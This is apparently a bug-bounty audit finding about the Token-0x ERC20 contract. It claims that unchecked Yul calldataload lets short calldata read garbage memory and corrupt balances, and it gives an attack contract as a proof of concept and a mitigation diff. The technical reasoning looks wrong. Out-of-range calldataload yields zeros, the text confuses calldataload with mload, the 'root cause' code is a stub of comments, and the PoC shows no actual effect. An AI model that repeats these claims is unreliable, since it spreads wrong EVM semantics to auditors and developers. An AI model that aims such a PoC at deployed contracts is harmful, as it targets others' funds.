Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Unchecked Low-Level Yul calldatacopy / mload Leads to Arbitrary Memory Read & Corrupted Storage Writes

Author Revealed upon completion

Root + Impact
Attackers can craft calldata that forces the Yul-based transfer/approval routines to read from invalid memory locations, resulting\

  • incorrect from, to, or amount values,

  • corrupted balance mappings,

  • unauthorized transfers,

  • total supply inconsistencies.

This compromises fund integrity, accounting correctness, and ERC20 compliance.m

Description

  • Token-0x uses custom Yul blocks inside Solidity functions (transfer, approve, transferFrom) to improve gas efficiency. Normally, calldata values (from, to, amount) should be validated and safely loaded before writing to storage.

  • The contract directly uses Yul calldatacopy and mload without validating calldata length. When calldata is too short or malformed, mload reads uninitialized memory, which then gets used as addresses or amounts. This enables arbitrary balance changes and unauthorized transfers.

// Root cause in the codebase with @> marks to highlight the relevant section
function transfer(address to, uint256 amount) external returns (bool) {
assembly {
// @> Yul loads address and amount from calldata without verifying calldata length
let _to := calldataload(4)
let _amount := calldataload(36)
// @> mload is used later on memory that depends on unchecked calldataload
// enabling arbitrary / garbage values to be interpreted as balances
// balances[from] -= amount (corrupted because _amount may be garbage)
// balances[to] += amount (corrupted _to address)
}
}

Risk

Likelihood:

  • The vulnerability occurs whenever Token-0x functions process calldata shorter than the required ABI format.

The Yul implementation is triggered on every call to transfer, approve, and transferFrom, so attackers can exploit this continually.

Impact:

  • Attackers can cause arbitrary balance inflation or deflation by manipulating _amount.

Attackers can redirect tokens by forcing _to to read from uninitialized memory.

Proof of Concept

This works because the Yul implementation treats missing calldata as valid memory.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IToken0x {
function transfer(address to, uint256 amount) external returns (bool);
}
contract ShortCalldataAttack {
IToken0x public token;
constructor(address _token) {
token = IToken0x(_token);
}
function exploit() external {
// Call transfer() with intentionally short calldata
// Function selector only: no address, no amount
// Token-0x Yul will read garbage as _to and _amount
(bool ok,) = address(token).call(abi.encodeWithSelector(token.transfer.selector));
require(ok, "exploit failed");
// After the exploit, balances or approvals may be corrupted
}
}

Recommended Mitigation

Add explicit ABI decoding in Solidity, then pass validated values into Yul.

  • Use calldatasize() checks inside the assembly block.

  • Avoid relying solely on Yul for argument parsing unless all validations are included.

- remove this code
+ add this code
- assembly {
- let _to := calldataload(4)
- let _amount := calldataload(36)
- }
+ // Validate calldata length before entering Yul
+ require(msg.data.length >= 4 + 32 + 32, "Invalid calldata");
+ assembly {
+ // Safe loads after length check
+ let _to := calldataload(4)
+ let _amount := calldataload(36)
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!